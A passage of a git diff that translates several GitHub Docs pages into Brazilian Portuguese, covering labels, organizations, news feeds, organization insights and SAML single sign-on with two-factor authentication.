-title: Managing labels
-intro: 'You can classify {% ifversion fpt or ghec %}issues, pull requests, and discussions{% else %}issues and pull requests{% endif %} by creating, editing, applying, and deleting labels.'
+title: Gerenciar etiquetas
+intro: 'Você pode classificar {% ifversion fpt or ghec %}problemas, pull requests e discussões{% else %}problemas e pull requests{% endif %} criando, editando, aplicando e excluindo etiquetas.'
 permissions: '{% data reusables.enterprise-accounts.emu-permission-repo %}'
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/managing-labels
@@ -31,58 +31,57 @@ topics:
   - Project management
 type: how_to
 ---
-## About labels
+  ## Sobre etiquetas
 
-You can manage your work on {% data variables.product.product_name %} by creating labels to categorize {% ifversion fpt or ghec %}issues, pull requests, and discussions{% else %}issues and pull requests{% endif %}. You can apply labels in the repository the label was created in. Once a label exists, you can use the label on any {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %} within that repository.
+Você pode gerenciar seu trabalho em {% data variables.product.product_name %} criando etiquetas para classificar {% ifversion fpt or ghec %}problemas, pull requests e discussões{% else %}problemas e pull requests{% endif %}. Você pode aplicar etiquetas no repositório em que foram criadas. Uma vez criada uma etiqueta, você poderá usá-la em qualquer {% ifversion fpt or ghec %}problema, pull request ou discussão{% else %}problema ou pull request{% endif %} dentro desse repositório.
 
-## About default labels
+## Sobre as etiquetas padrão
 
-{% data variables.product.product_name %} provides default labels in every new repository. You can use these default labels to help create a standard workflow in a repository.
+O {% data variables.product.product_name %} fornece etiquetas padrão para todos os repositórios novos. Você pode usar essas etiquetas padrão para ajudar com a criação de um fluxo de trabalho padronizado em um repositório.
 
-Label | Description
----  | ---
-`bug` | Indicates an unexpected problem or unintended behavior{% ifversion fpt or ghes or ghec %}
-`documentation` | Indicates a need for improvements or additions to documentation{% endif %}
-`duplicate` | Indicates similar {% ifversion fpt or ghec %}issues, pull requests, or discussions{% else %}issues or pull requests{% endif %}
-`enhancement` | Indicates new feature requests
-`good first issue` | Indicates a good issue for first-time contributors
-`help wanted` | Indicates that a maintainer wants help on an issue or pull request
-`invalid` | Indicates that an {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %} is no longer relevant
-`question` | Indicates that an {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %} needs more information
-`wontfix` | Indicates that work won't continue on an {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %}
+| Etiqueta           | Descrição                                                                                                                                              |
+| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `bug`              | Indica um problema inesperado ou comportamento involuntário{% ifversion fpt or ghes or ghec %}
+| `documentation`    | Indica a necessidade de aprimoramentos ou adições à documentação{% endif %}
+| `duplicate`        | Indica {% ifversion fpt or ghec %}problemas, pull requests ou discussões{% else %}problemas ou pull requests{% endif %}
+| `enhancement`      | Indica novas solicitações de recurso                                                                                                                   |
+| `good first issue` | Indica um bom problema para contribuidores principiantes                                                                                               |
+| `help wanted`      | Indica que um mantenedor deseja ajudar em um problema ou uma pull request                                                                              |
+| `invalid`          | Indica que um {% ifversion fpt or ghec %}problema, pull request ou discussão{% else %}problema ou pull request{% endif %} já não é relevante           |
+| `question`         | Indica que um {% ifversion fpt or ghec %}problema, pull request ou discussão{% else %}problema ou pull request{% endif %} precisa de mais informações  |
+| `wontfix`          | Indica que o trabalho não continuará em um {% ifversion fpt or ghec %}problema, pull request ou discussão{% else %}problema ou pull request{% endif %}
 
-Default labels are included in every new repository when the repository is created, but you can edit or delete the labels later.
+Etiquetas padrão são incluídas em todos os novos repositórios quando criados, mas você pode editar ou excluir as etiquetas posteriormente.
 
-Issues with the `good first issue` label are used to populate the repository's `contribute` page. For an example of a `contribute` page, see [github/docs/contribute](https://github.com/github/docs/contribute). 
+Problemas com a etiqueta `good first issue` são usados para preencher a página de `contribute` do repositório. Para obter um exemplo da página de `contribuir`, consulte [github/docs/contribua](https://github.com/github/docs/contribute).
 
 {% ifversion fpt or ghes or ghec %}
-Organization owners can customize the default labels for repositories in their organization. For more information, see "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)."
+Os proprietários da organização podem personalizar as etiquetas padrão para repositórios na organização. Para obter mais informações, consulte "[Gerenciar etiquetas padrão nos repositórios da organização](/articles/managing-default-labels-for-repositories-in-your-organization)".
 {% endif %}
 
-## Creating a label
+## Criar uma etiqueta
 
-Anyone with write access to a repository can create a label.
+Qualquer pessoa com acesso de gravação a um repositório pode criar uma etiqueta.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
 {% data reusables.project-management.labels %}
-4. To the right of the search field, click **New label**.
+4. À direita do campo de pesquisa, clique em **New label** (Nova etiqueta).
 {% data reusables.project-management.name-label %}
 {% data reusables.project-management.label-description %}
 {% data reusables.project-management.label-color-randomizer %}
 {% data reusables.project-management.create-label %}
 
-## Applying a label
+## Aplicando uma etiqueta
 
-Anyone with triage access to a repository can apply and dismiss labels.
+Qualquer pessoa com acesso de triagem a um repositório pode aplicar e ignorar etiquetas.
 
-1. Navigate to the {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %}.
-1. In the right sidebar, to the right of "Labels", click {% octicon "gear" aria-label="The gear icon" %}, then click a label.
-  !["Labels" drop-down menu](/assets/images/help/issues/labels-drop-down.png)
+1. Acesse {% ifversion fpt or ghec %}problema, pull request ou discussão{% else %}problema ou pull request{% endif %}.
+1. Na barra lateral direita, à direita de "Etiquetas", clique em {% octicon "gear" aria-label="The gear icon" %} e, em seguida, clique em uma etiqueta. ![Menu suspenso "Etiquetas"](/assets/images/help/issues/labels-drop-down.png)
 
-## Editing a label
+## Editar uma etiqueta
 
-Anyone with write access to a repository can edit existing labels.
+Qualquer pessoa com acesso de gravação a um repositório pode editar etiquetas existentes.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
@@ -93,18 +92,18 @@ Anyone with write access to a repository can edit existing labels.
 {% data reusables.project-management.label-color-randomizer %}
 {% data reusables.project-management.save-label %}
 
-## Deleting a label
+## Excluir uma etiqueta
 
-Anyone with write access to a repository can delete existing labels.
+Qualquer pessoa com acesso de gravação a um repositório pode excluir etiquetas existentes.
 
-Deleting a label will remove the label from issues and pull requests.
+Excluir uma etiqueta removerá a etiqueta dos problemas e pull requests.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
 {% data reusables.project-management.labels %}
 {% data reusables.project-management.delete-label %}
 
-## Further reading
-- "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)"{% ifversion fpt or ghes or ghec %}
-- "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)"{% endif %}{% ifversion fpt or ghec %}
-- "[Encouraging helpful contributions to your project with labels](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)"{% endif %}
+## Leia mais
+- "[Filtrando e pesquisando problemas e pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)"{% ifversion fpt or ghes or ghec %}
+- "[Gerenciar etiquetas padrão para repositórios na organização](/articles/managing-default-labels-for-repositories-in-your-organization)"{% endif %}{% ifversion fpt or ghec %}
+- "[Incentivar contribuições úteis para o seu projeto com etiquetas](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)"{% endif %}
diff --git a/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md b/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
index d5073f08ca..5af3419d2e 100644
--- a/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
+++ b/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
@@ -1,6 +1,6 @@
 ---
-title: About organizations
-intro: Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can manage member access to the organization's data and projects with sophisticated security and administrative features.
+title: Sobre organizações
+intro: As organizações são contas compartilhadas onde empresas e projetos de código aberto podem colaborar em muitos projetos de uma vez. Os proprietários e administradores podem gerenciar o acesso de integrantes aos dados e projetos da organização com recursos avançados administrativos e de segurança.
 redirect_from:
   - /articles/about-organizations
   - /github/setting-up-and-managing-organizations-and-teams/about-organizations
@@ -14,25 +14,29 @@ topics:
   - Teams
 ---
 
-{% data reusables.organizations.about-organizations %} For more information about account types, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
+{% data reusables.organizations.about-organizations %} Para obter mais informações sobre tipos de conta, consulte "[Tipos de contas de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts)".
 
-{% data reusables.organizations.organizations_include %} 
+{% data reusables.organizations.organizations_include %}
 
-{% data reusables.organizations.org-ownership-recommendation %} For more information, see "[Maintaining ownership continuity for your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization)."
+{% data reusables.organizations.org-ownership-recommendation %} Para obter mais informações, consulte "[Manter a continuidade da propriedade para sua organização](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization)".
 
-{% ifversion fpt or ghec %}
-## Organizations and enterprise accounts
+## Organizações e contas corporativas
 
-Enterprise accounts are a feature of {% data variables.product.prodname_ghe_cloud %} that allow owners to centrally manage policy and billing for multiple organizations.
+{% ifversion fpt %}
+As contas corporativas são uma funcionalidade de {% data variables.product.prodname_ghe_cloud %} que permite aos proprietários gerenciar a política e cobrança centralmente para várias organizações. Para obter mais informações, consulte [a documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/organizations/collaborating-with-groups-in-organizations/about-organizations).
+{% else %}
+{% ifversion ghec %}Para organizações que pertencem a uma conta corporativa, a cobrança é gerenciada no nível da conta corporativa, e as configurações de cobrança não estão disponíveis no nível da organização.{% endif %} Os proprietários de empresas podem definir políticas para todas as organizações na conta corporativa ou permitir que os proprietários da organização definam a política no nível da organização. Os proprietários da organização não podem alterar as configurações aplicadas à sua organização no nível da conta corporativa. Se você tiver dúvidas sobre uma política ou configuração da sua organização, entre em contato com o proprietário da conta corporativa.
 
-For organizations that belong to an enterprise account, billing is managed at the enterprise account level, and billing settings are not available at the organization level. Enterprise owners can set policy for all organizations in the enterprise account or allow organization owners to set the policy at the organization level. Organization owners cannot change settings enforced for your organization at the enterprise account level. If you have questions about a policy or setting for your organization, contact the owner of your enterprise account.
-
-{% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/overview/creating-an-enterprise-account){% ifversion ghec %}."{% else %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %}
+{% ifversion ghec %}
+{% data reusables.enterprise.create-an-enterprise-account %} Para obter mais informações, consulte "[Criando uma conta corporativa](/admin/overview/creating-an-enterprise-account)".
 
 {% data reusables.enterprise-accounts.invite-organization %}
+{% endif %}
+{% endif %}
 
-## Terms of service and data protection for organizations
+{% ifversion fpt or ghec %}
+## Termos de serviços e proteção de dados para organizações
 
-An entity, such as a company, non-profit, or group, can agree to the Standard Terms of Service or the Corporate Terms of Service for their organization. For more information, see "[Upgrading to the Corporate Terms of Service](/articles/upgrading-to-the-corporate-terms-of-service)."
+Uma entidade, como uma empresa, não lucrativa, ou um grupo, pode concordar com os Termos de serviço padrão ou os Termos de serviço corporativos para a respectiva organização. Para obter mais informações, consulte "[Atualizar para os Termos de serviço corporativos](/articles/upgrading-to-the-corporate-terms-of-service)".
 
 {% endif %}
diff --git a/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md b/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
index 1301ef95bc..2532b4e3b2 100644
--- a/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
+++ b/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
@@ -1,6 +1,6 @@
 ---
-title: About your organization’s news feed
-intro: You can use your organization's news feed to keep up with recent activity on repositories owned by that organization.
+title: Sobre o feed de notícias da sua organização
+intro: Você pode usar o feed de notícias da sua organização para se manter atualizado com atividades recentes nos repositórios de propriedade da organização.
 redirect_from:
   - /articles/news-feed
   - /articles/about-your-organization-s-news-feed
@@ -14,17 +14,14 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Organization news feed
+shortTitle: Feed de notícias da organização
 ---
 
-An organization's news feed shows other people's activity on repositories owned by that organization. You can use your organization's news feed to see when someone opens, closes, or merges an issue or pull request, creates or deletes a branch, creates a tag or release, comments on an issue, pull request, or commit, or pushes new commits to {% data variables.product.product_name %}.
+O feed de notícias de uma organização mostra a atividade de outras pessoas nos repositórios que pertencem a essa organização. Você pode usar o feed de notícias da sua organização para ver quando alguém abre, fecha ou faz merge de um problema ou uma pull request, cria ou exclui um branch, cria uma tag ou versão, comenta sobre um problema, uma pull request, ou faz commit, ou faz push de novos commits no {% data variables.product.product_name %}.
 
-## Accessing your organization's news feed
+## Acessar o feed de notícias da sua organização
 
-1. {% data variables.product.signin_link %} to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
-2. Open your {% data reusables.user_settings.personal_dashboard %}.
-3. Click the account context switcher in the upper-left corner of the page.
-  ![Context switcher button in Enterprise](/assets/images/help/organizations/account_context_switcher.png)
-4. Select an organization from the drop-down menu.{% ifversion fpt or ghec %}
-  ![Context switcher menu in dotcom](/assets/images/help/organizations/account-context-switcher-selected-dotcom.png){% else %}
-  ![Context switcher menu in Enterprise](/assets/images/help/organizations/account_context_switcher.png){% endif %}
+1. {% data variables.product.signin_link %} para a sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
+2. Abra o seu {% data reusables.user_settings.personal_dashboard %}.
+3. Clique no alternador de contexto da conta no canto superior esquerdo da página. ![Botão do alternador de contexto no Enterprise](/assets/images/help/organizations/account_context_switcher.png)
+4. Selecione uma organização no menu suspenso.{% ifversion fpt or ghec %}![Context switcher menu in dotcom](/assets/images/help/organizations/account-context-switcher-selected-dotcom.png){% else %}![Context switcher menu in Enterprise](/assets/images/help/organizations/account_context_switcher.png){% endif %}
diff --git a/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md b/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
index 373c0c390d..2b9a656a92 100644
--- a/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
+++ b/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
@@ -1,5 +1,5 @@
 ---
-title: Accessing your organization's settings
+title: Acessar as configurações da organização
 redirect_from:
   - /articles/who-can-access-organization-billing-information-and-account-settings
   - /articles/managing-the-organization-s-settings
@@ -9,7 +9,7 @@ redirect_from:
   - /articles/accessing-your-organization-s-settings
   - /articles/accessing-your-organizations-settings
   - /github/setting-up-and-managing-organizations-and-teams/accessing-your-organizations-settings
-intro: 'The organization account settings page provides several ways to manage the account, such as billing, team membership, and repository settings.'
+intro: 'A página de configurações da conta da organização fornece várias maneiras de gerenciar a conta, como cobrança, associação a equipes e configurações do repositório.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -18,13 +18,14 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Access organization settings
+shortTitle: Acessar configurações da organização
 ---
+
 {% ifversion fpt or ghec %}
 
 {% tip %}
 
-**Tip:** Only organization owners and billing managers can see and change the billing information and account settings for an organization. {% data reusables.organizations.new-org-permissions-more-info %}
+**Dica:** somente proprietários da organização e gerentes de cobrança podem ver e alterar as informações de cobrança e configurações da conta para uma organização. {% data reusables.organizations.new-org-permissions-more-info %}
 
 {% endtip %}
 
diff --git a/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/index.md b/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/index.md
index bd2e17c6b1..268d13dc56 100644
--- a/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/index.md
+++ b/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/index.md
@@ -1,6 +1,6 @@
 ---
-title: Collaborating with groups in organizations
-intro: Groups of people can collaborate across many projects at the same time in organization accounts.
+title: Colaborar com grupos e organizações
+intro: Os grupos de pessoas podem colaborar em muitos projetos ao mesmo tempo nas contas da organização.
 redirect_from:
   - /articles/creating-a-new-organization-account
   - /articles/collaborating-with-groups-in-organizations
@@ -21,6 +21,6 @@ children:
   - /customizing-your-organizations-profile
   - /about-your-organizations-news-feed
   - /viewing-insights-for-your-organization
-shortTitle: Collaborate with groups
+shortTitle: Colaborar com grupos
 ---
 
diff --git a/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md b/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md
index 5e868d4583..7ecbe0667f 100644
--- a/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing insights for your organization
-intro: 'Organization insights provide data about your organization''s activity, contributions, and dependencies.'
+title: Exibir informações da organização
+intro: 'As informações da organização fornecem dados sobre a atividade, as contribuições e as dependências dela.'
 product: '{% data reusables.gated-features.org-insights %}'
 redirect_from:
   - /articles/viewing-insights-for-your-organization
@@ -11,57 +11,49 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: View organization insights
+shortTitle: Visualizar ideias da organização
 ---
 
-All members of an organization can view organization insights. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+Todos os integrantes de uma organização podem exibir informações da organização. Para obter mais informações, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)".
 
-You can use organization activity insights to help you better understand how members of your organization are using {% data variables.product.product_name %} to collaborate and work on code. Dependency insights can help you track, report, and act on your organization's open source usage.
+Você pode usar informações de atividade da organização para entender melhor como os integrantes da sua organização estão usando o {% data variables.product.product_name %} para colaborar e trabalhar no código. As informações de dependência podem ajudar você a monitorar, reportar e agir de acordo com o uso de código aberto da organização.
 
-## Viewing organization activity insights
+## Exibir informações de atividade da organização
 
 {% note %}
 
-**Note:** Organization activity insights are currently in public beta and subject to change.
+**Observação:** As ideias da atividade da organização estão atualmente na versão beta pública e são sujeitas a alterações.
 
 {% endnote %}
 
-With organization activity insights you can view weekly, monthly, and yearly data visualizations of your entire organization or specific repositories, including issue and pull request activity, top languages used, and cumulative information about where your organization members spend their time.
+Com as informações de atividade da organização, é possível exibir visualizações de dados semanais, mensais e anuais de toda a organização ou de repositórios específicos, como atividade de pull requests e problemas, principais linguagens usadas e dados cumulativos sobre onde os integrantes da organização passam o tempo.
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
-3. Under your organization name, click {% octicon "graph" aria-label="The bar graph icon" %} **Insights**.
-  ![Click the organization insights tab](/assets/images/help/organizations/org-nav-insights-tab.png)
-4. Optionally, in the upper-right corner of the page, choose to view data for the last **1 week**, **1 month**, or **1 year**.
-  ![Choose time period to view org insights](/assets/images/help/organizations/org-insights-time-period.png)
-5. Optionally, in the upper-right corner of the page, choose to view data for up to three repositories and click **Apply**.
-  ![Choose repositories to view org insights](/assets/images/help/organizations/org-insights-repos.png)
+3. No nome da organização, clique em {% octicon "graph" aria-label="The bar graph icon" %} **Insights** (Informações). ![Clique na guia Insights (Informações) da organização](/assets/images/help/organizations/org-nav-insights-tab.png)
+4. Como alternativa, no canto superior direito da página, opte por exibir dados do período de **1 semana**, **1 mês** ou **1 ano** mais recente. ![Escolha o período para visualizar informações da organização](/assets/images/help/organizations/org-insights-time-period.png)
+5. Ou, no canto superior direito da página, opte por exibir dados de até três repositórios e clique em **Apply** (Aplicar). ![Escolha os repositórios para visualizar informações da organização](/assets/images/help/organizations/org-insights-repos.png)
 
-## Viewing organization dependency insights
+## Exibir informações de dependência da organização
 
 {% note %}
 
-**Note:** Please make sure you have enabled the [Dependency Graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph). 
+**Observação:** Certifique-se que você habilitou o [Gráfico de dependências](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph).
 
 {% endnote %}
 
-With dependency insights you can view vulnerabilities, licenses, and other important information for the open source projects your organization depends on.
+Com as informações de dependência, é possível visualizar vulnerabilidades, licenças e outras informações importantes dos projetos de código aberto dos quais a sua organização depende.
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
-3. Under your organization name, click {% octicon "graph" aria-label="The bar graph icon" %} **Insights**.
-  ![Insights tab in the main organization navigation bar](/assets/images/help/organizations/org-nav-insights-tab.png)
-4. To view dependencies for this organization, click **Dependencies**.
-  ![Dependencies tab under the main organization navigation bar](/assets/images/help/organizations/org-insights-dependencies-tab.png)
-5. To view dependency insights for all your {% data variables.product.prodname_ghe_cloud %} organizations, click **My organizations**.
-  ![My organizations button under dependencies tab](/assets/images/help/organizations/org-insights-dependencies-my-orgs-button.png)
-6. You can click the results in the **Open security advisories** and **Licenses** graphs to filter by a vulnerability status, a license, or a combination of the two.
-  ![My organizations vulnerabilities and licenses graphs](/assets/images/help/organizations/org-insights-dependencies-graphs.png)
-7. You can click on {% octicon "package" aria-label="The package icon" %} **dependents** next to each vulnerability to see which dependents in your organization are using each library.
-  ![My organizations vulnerable dependents](/assets/images/help/organizations/org-insights-dependencies-vulnerable-item.png)
+3. No nome da organização, clique em {% octicon "graph" aria-label="The bar graph icon" %} **Insights** (Informações). ![Guia Insights (Informações) na principal barra de navegação da organização](/assets/images/help/organizations/org-nav-insights-tab.png)
+4. Clique em **Dependencies** (Dependências) para exibir as que pertencem a esta organização. ![Guia Dependencies (Dependências) na principal barra de navegação da organização](/assets/images/help/organizations/org-insights-dependencies-tab.png)
+5. Para exibir informações de dependência para todas as suas organizações do {% data variables.product.prodname_ghe_cloud %}, clique em **My organizations** (Minhas organizações). ![Botão My organizations (Minhas organizações) na guia Dependencies (Dependências)](/assets/images/help/organizations/org-insights-dependencies-my-orgs-button.png)
+6. Você pode clicar nos resultados dos gráficos **Consultorias de segurança abertas** e **Licenças** para filtrar por um status de vulnerabilidade, uma licença ou uma combinação dos dois. ![Gráficos de "vulnerabilidades das minhas organizações"](/assets/images/help/organizations/org-insights-dependencies-graphs.png)
+7. Também pode clicar em {% octicon "package" aria-label="The package icon" %} **Dependents** (Dependentes) ao lado de cada vulnerabilidade para ver quais dependentes na organização estão usando cada biblioteca. ![Dependentes vulneráveis em My organizations (Minhas organizações)](/assets/images/help/organizations/org-insights-dependencies-vulnerable-item.png)
 
-## Further reading
- - "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)"
- - "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)"
- - "[Changing the visibility of your organization's dependency insights](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights)"{% ifversion ghec %}
-- "[Enforcing policies for dependency insights in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)"{% endif %}
+## Leia mais
+ - "[Sobre organizações](/organizations/collaborating-with-groups-in-organizations/about-organizations)"
+ - "[Explorar as dependências de um repositório](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)"
+ - "[Alterando a visibilidade das dicas de dependência da sua organização](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights)"{% ifversion ghec %}
+- "[Aplicando as políticas de insights de dependência na sua empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)"{% endif %}
diff --git a/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md b/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
index 84fdefa98d..2cdeb134e8 100644
--- a/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
+++ b/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: About two-factor authentication and SAML single sign-on
-intro: Organizations administrators can enable both SAML single sign-on and two-factor authentication to add additional authentication measures for their organization members.
+title: Sobre a autenticação de dois fatores e o SAML de logon único
+intro: Os administradores da organização podem habilitar o SAML de logon único e a autenticação de dois fatores para adicionar medidas extras de autenticação para os integrantes da organização.
 redirect_from:
   - /articles/about-two-factor-authentication-and-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/about-two-factor-authentication-and-saml-single-sign-on
@@ -9,18 +9,18 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: 2FA & SAML single sign-on
+shortTitle: 2FA & Logon único SAML
 ---
 
-Two-factor authentication (2FA) provides basic authentication for organization members. By enabling 2FA, organization administrators limit the likelihood that a member's account on {% data variables.product.product_location %} could be compromised. For more information on 2FA, see "[About two-factor authentication](/articles/about-two-factor-authentication)."
+A autenticação de dois fatores (2FA, Two-Factor Authentication) fornece autenticação básica para integrantes da organização. Ao habilitar a 2FA, os administradores da organização limitam a probabilidade de que a conta de um integrante em {% data variables.product.product_location %} possa ser comprometida. Para obter mais informações sobre a 2FA, consulte "[Sobre a autenticação de dois fatores](/articles/about-two-factor-authentication)".
 
-To add additional authentication measures, organization administrators can also [enable SAML single sign-on (SSO)](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization) so that organization members must use single sign-on to access an organization. For more information on SAML SSO, see "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)."
+Para adicionar medidas extras de autenticação, os administradores da organização também podem [habilitar o SAML de logon único (SSO, Single Sign-On)](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization) para que os integrantes da organização usem o logon único para acessar uma organização. Para obter mais informações sobre o SAML SSO, consulte "[Sobre o gerenciamento de identidade e acesso com SAML de logon único](/articles/about-identity-and-access-management-with-saml-single-sign-on)".
 
-If both 2FA and SAML SSO are enabled, organization members must do the following:
-- Use 2FA to log in to their account on {% data variables.product.product_location %}
-- Use single sign-on to access the organization
-- Use an authorized token for API or Git access and use single sign-on to authorize the token
+Se a 2FA e o SAML SSO forem habilitados, os integrantes da organização deverão fazer o seguinte:
+- Use a 2FA para efetuar o login na sua conta em {% data variables.product.product_location %}
+- Usar o logon único para acessar a organização
+- Usar um token autorizado para acesso por API ou Git e usar logon único para autorizar o token
 
-## Further reading
+## Leia mais
 
-- "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)"
+- "[Aplicar SAML de logon único para sua organização](/articles/enforcing-saml-single-sign-on-for-your-organization)"
diff --git a/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md b/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
index 3b715c25de..fe2417ccf9 100644
--- a/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
+++ b/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
@@ -1,6 +1,6 @@
 ---
-title: Granting access to your organization with SAML single sign-on
-intro: 'Organization administrators can grant access to their organization with SAML single sign-on. This access can be granted to organization members, bots, and service accounts.'
+title: Conceder acesso à sua organização com logon único SAML
+intro: 'Administradores de organizações podem conceder acesso à organização com logon único SAML. O acesso pode ser concedido a integrantes de organizações, bots e contas de serviço.'
 redirect_from:
   - /articles/granting-access-to-your-organization-with-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/granting-access-to-your-organization-with-saml-single-sign-on
@@ -13,6 +13,6 @@ children:
   - /managing-bots-and-service-accounts-with-saml-single-sign-on
   - /viewing-and-managing-a-members-saml-access-to-your-organization
   - /about-two-factor-authentication-and-saml-single-sign-on
-shortTitle: Grant access with SAML
+shortTitle: Conceder acesso com SAML
 ---
 
diff --git a/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md b/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
index 0b6a234588..9c13f23dd7 100644
--- a/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
+++ b/translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: Managing bots and service accounts with SAML single sign-on
-intro: Organizations that have enabled SAML single sign-on can retain access for bots and service accounts.
+title: Gerenciar bots e contas de serviço com logon único SAML
+intro: Organizações que habilitaram logon único SAML podem manter o acesso para bots e contas de serviço.
 redirect_from:
   - /articles/managing-bots-and-service-accounts-with-saml-single-sign-on
